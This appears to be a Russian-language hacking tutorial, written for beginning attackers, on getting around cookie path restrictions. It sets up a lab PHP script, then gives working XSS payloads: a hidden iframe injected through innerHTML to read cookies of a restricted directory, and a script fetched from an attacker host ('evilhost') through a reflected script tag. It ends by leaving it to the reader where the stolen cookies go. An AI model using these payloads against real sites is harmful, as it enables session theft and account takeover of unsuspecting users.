Получение доступа к cookies с ограниченной зоной действия

Второй пример: угон cookies, зона действия которых ограничена. Хоть и это относится к угону cookies, но обычным угоном значения document.cookie здесь ничего не сделаешь.

Небольшая справка для тех, кто не представляет себе, что такое зона действие cookies: Здесь имеется в виду то, что cookies могут передаваться не всему сайту, а отдельной его директории (или скрипту). Это может создать затруднения для начинающих взломщиков. Если, например, зона действия cookies ограничена папкой /dir/ на сайте site.com, то, найдя XSS в корне сайта, или в какой либо другой директории (помимо /dir/), с помощью document.cookie cookies Вы получить не сможете.

Далее в папке www папки clientsite создайте директорию cookdir. Займёмся кодингом - напишем скрипт, который будет устанавливать cookies с ограниченной зоной действия. Вот его код:

<?php

# отключаем вывод ошибок

error_reporting(0);

# если в cookies с именем test ничего нет, то создаём cookies.

if (strlen($_COOKIE['test'])==0) {

# test – имя cookies, hacker – значение, которое там будет находиться.

# time()+3600 – время действия cookies - это 1 час с момента создания

# /cookdir/ - папка, которой ограничено действие cookies.

setcookie("test","hacker",time()+3600,"/cookdir/");

} else {

# Если же cookies установлены то выводим их на экран.

print "Cookie: ".$_COOKIE['test'];

}

?>

Назовём этот скрипт index.php и поместим в папку cookdir хоста clientsite. Теперь откройте браузер и перейдите по адресу http://clientsite/cookdir/. Вы должны увидеть пустую страницу. Далее обновите её и увидите содержимое cookies:

После этого обратитесь к корню сайта с параметром word равным <script>alert(document.cookie)</script>

http://clientsite/index.php?word=<script>alert(document.cookie)</script>

Если предыдущий скрипт Вы написали правильно, то cookies Вы не увидите из-за их ограниченной зоны действия:

Вот тут то и может застопориться начинающий взломщик – смотрим в браузере cookies – они есть, проводим XSS – их нет. Что бы обойти данное ограничение мы воспользуется html-тегом iframe - данный тег используется для создания отдельных, независимых фреймов. Грубо говоря, он не является потомком основного документа, а сам представляет собой документ. Огромный плюс для взломщика этот тэг представляет из-за того, что с помощью него можно эмулировать действия пользователя. Тэг iframe имеет свойство src – адрес источника, откуда нужно загрузить данные в документ. Сделаем следующее: введём в качестве значения параметра word следующий код:

<iframe src=/cookdir/ width=100 heigth=100></iframe>

После нажатия Enter Вы должны увидеть следующее:

Как видите, браузер встретив тэг <iframe> обратился к пути указанному в src, к тому же видно что он передал туда cookies, так как там зона действия cookies не ограничена. Далее нужно будет сделать следующее: разместить на нашем сайте (evilhost) скрипт написанный на JavaScript (далее JS), который выведет в окно пользователя тэг <iframe> (скрипт с этим кодом мы подключим через XSS). Так как iframe создаёт новый документ то и объект cookie содержит совершенно иную информацию, а именно – cookies, которые передались открывшемуся документу. В нашем случае это как раз те cookies, которые мы пытались достать в начале, но не смогли из-за ограничений их зоны действия. Далее с помощью того же JS-кода мы получим значение объекта cookie и выведем их на экран функцией alert().

Итак, начнём. Наш скрипт, содержащий вредоносный код мы назовём xss_code.js. В начале работы нашего скрипта нам необходимо вывести iframe – для этого мы будем использовать innerHTML так же как и в первом варианте – то есть просто допишем код в документ:

function WriteIframeCode(){

var div=document.getElementById("main_div");

div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=show_cookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"

}

Обратите внимание на следующие моменты:

· Свойство style содержит “display:none” что делает наш фрейм невидимым.

· name и id это имя фрейма и его id. Это нужно для последующего обращения к нему с помощью JS.

· http://clientsite/cookdir/index.php - адрес откуда нам надо взять cookies

· onload=show_cookies() – при окончании загрузки данных во фрейм вызываем функцию show_cookies()

А вот, собственно, и код функции show_cookies():

function show_cookies(){

var client_cookies=window.evilframe.document.cookie;

alert(client_cookies);

}

Тут мы в переменную client_cookies выводим объект cookie, который имеется в нашем фрейме(evilframe), а затем выводим client_cookies через функцию alert(). С самого начала скрипта нам нужно вызвать эти 2 функции – сначала write_code(), а затем show_cookie(). То есть у нас получается следующий код:

// Как только скрипт загружен, вызываем необходимые функции

WriteIframeCode();

// Код функций.

function WriteIframeCode(){

var div=document.getElementById("main_div");

div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=ShowCookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"

}

function ShowCookies(){

var client_cookies=window.evilframe.document.cookie;

alert(client_cookies);

}

Сохраните данный скрипт (xss_code.js) в корне нашего атакующего хоста (/home/evilhost/www/).

Теперь нам осталось только подключить данный код к уязвимой странице с помощью такого запроса:

http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>

Если Вы всё сделали правильно, то должны увидеть то что лежит в cookies которые мы пытаемся достать, а именно:

Вот и всё, наша задача выполнена. Мы получили нужные cookies, куда они отправятся потом – дело Ваше. Ещё стоит обратить внимание вот на что – таким способом cookies от какого-либо другого сайта Вы не получите, то есть вы можете получать cookies только внутри определённого домена. Если же Вы загрузите в iframe документ из другого домена то браузер запретит Вам обращаться к его содержимому.


Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: